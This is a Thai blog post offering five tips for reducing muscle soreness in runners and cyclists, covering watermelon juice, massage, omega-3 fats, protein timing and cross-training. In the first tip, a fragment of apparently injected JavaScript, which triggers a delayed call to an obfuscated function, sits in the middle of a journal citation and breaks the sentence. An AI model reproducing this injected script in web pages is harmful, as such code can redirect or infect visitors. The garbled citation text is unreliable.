จินตนาการสภาพตื่นนอนใหม่ๆ พร้อมกับอาการปวดกล้ามเนื้อแบบเเทบจะยกตัวไม่ขึ้นดู เเล้วคุณจะรู้ว่ามันหนักหนาขนาดไหน ไม่ว่าคุณจะเป็นนักปั่นหรือนักวิ่ง เมื่อเราใช้กล้ามเนื้อถึงขีดจำกัดของมัน อาการปวดเมื่อยกล้ามเนื้อก็จะเริ่มถามหา (muscle soreness)…เเต่ข่าวดีวันนี้ เราขอเเนะนำ 5 วิธีช่วยลดอาการปวดเมื่อยกล้ามเนื้อ
1. รับน้ำเเตงโมเพิ่มมั้ยคะ
จากการวิจัย ของ Journal of Agriculture andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Food Chemistryพบว่าคนที่ดื่มน้ำเเตงโมก่อนออกกำลังกาย (ปั่น indoorcycling) จะพบอาการปวดเมื่อยกล้ามเนื้อลดลง ในวันถัดไป ทั้งนี้เพราะเเตงโมมี สารอาหาร amino acid L-citrulline ที่ช่วยกระตุ้นการไหลเวียนของเลือด ทำให้สารอาหาร ออกซิเจน ลำเลียงไปส่งกล้ามเนื้อได้มากขึ้น ส่วนประโยชน์อื่น มันหวาน มีน้ำเยอะและอร่อยมากครับ…ส่วนใครที่หาน้ำเเตงโมไม่ได้ก็ลองดูน้ำเชอรรี่ บีทรูทเเละน้ำส้มดูได้ครับ สรรพคุณคล้ายๆ กัน
2. นวดกล้ามเนื้อ
การนวดกล้ามเนื้อขอเเบ่งเป็นการนวดด้วยตัวเองโดยใช้โฟม (Foam Roller) ใช้คลึงกลิ้งไปมาเพื่อคลายปมกล้ามเนื้อ (Trigger point) ถ้าใครชอบเเบบซาดิสนิดก็ขอเเนะนำการนวดเเผนไทยครับ หลักการทำงานคล้ายๆ กัน มีการบังคับให้เลือดไหลเวียนนำพาอาหารเเละชะล้างของเสียออกไป ขณะเดียวกันก็ช่วยคลายปมกล้ามเนื้อ เพียงเเต่การนวดเเผนไทย จะกดได้ตรงจุดมากกว่าการใช้โฟม
นอกเหนือการนวดเเล้วยังมีการเล่นโยคะ หรือท่ายืดเหยียดกล้ามเนื้อที่อยากให้เพื่อนๆ ลองเล่นดูนะครับ
3. ไขมันคุณภาพดีห้ามลืม
เวลาที่เราออกกกำลังกายเยอะๆ กล้ามเนื้อจะมีความเครียดและการฉีกขาดกล้ามเนื้อสะสม เกิดอาการอักเสบเเละทำให้มีอาการปวดเมื่อยเกิดขึ้น พวกกดไขมันจะช่วยรักษาอาการอักเสบ แต่ถ้าพูดถึงไขมันคุณภาพดี คงนึกถึงกรดไขมันomega-3 ใช่มั้ยครับ สามารถหาได้ตามเนื้อปลา ปลาไทยน้ำจืดก็มีนะ อย่าง ปลาสวาย ปลาช่อน ปลาดุก (ที่มา Omega 3 คืออะไรและมีความสำคัญอย่างไร) เมล็ดธัญพืชต่างๆ อย่าง อัลมอนและถั่วเหลือง เป็นต้น
4. เลือกกินโปรตีนคุณภาพดี
กล้ามเนื้อสร้างมากจากโปรตีน หากเสียหายก็ต้องซ่อมเเซม ทำให้การรับโปรตีนเลี่ยงไม่ได้เด็ดขาด ไม่ว่าคุณจะเป็นสายคาร์ดิโอหรือ body builder เเต่มีสิ่งหนึ่งที่เรามองข้ามนั้นคือ ช่วงเวลาในการรับโปรตีน ในขณะที่เราออกกำลังกายหนัก นักวิ่งหรือนักปั่นอย่ารับเเต่ powergel ที่ให้พลังงานอย่างเดียว ลองรับ powerbar ที่มีโปรตีนผสมดูนะครับ จะสามารถช่วยกระบวนการสร้างและซ่อมเเซมกล้ามเนื้อได้เร็วขึ้น ลดอาการบวดเมื่อยกล้ามเนื้อได้เร็วลงด้วย
5. ผสมผสานประเภทกีฬา
ถ้าคุณเป็นนักวิ่งก็ลองเปลี่ยนมาปั่น หรือว่ายน้ำดูก็ได้ หากเป็นนักปั่นก็ลองเลือกวิ่ง ว่ายน้ำหรือ จะเป็นการเล่นโยคะ เล่นเวท เพื่อปรับเปลี่ยนมัดกล้ามเนื้อที่ใช้งาน เพราะการทำอะไรซ้ำๆ ไปมากล้ามเนื้อชุดนั้นย่อมล้าลง การเปลี่ยนประเภทกีฬาจะช่วยให้กล้ามเนื้อชุดอื่นๆ ได้ทำงาน เเต่ขณะเดียวกันก็ยังรักษาระดับความฟิตไว้ด้วย
แต่ที่เเนะนำ อยากให้นักกีฬาได้ใช้กีฬาว่ายน้ำในการรักษากล้ามเนื้อ หรือทำ recovery workout นั้นละครับ เพราะน้ำให้เเรงกดดัน คล้ายๆ กับการนวด อีกทั้งการว่ายน้ำยังเป็นกีฬาเเบบ low impact และสามารถใช้มัดกล้ามเนื้อได้ทุกส่วน เป็นการออกกำลังกายเเบบเเอร์โรบิคด้วย
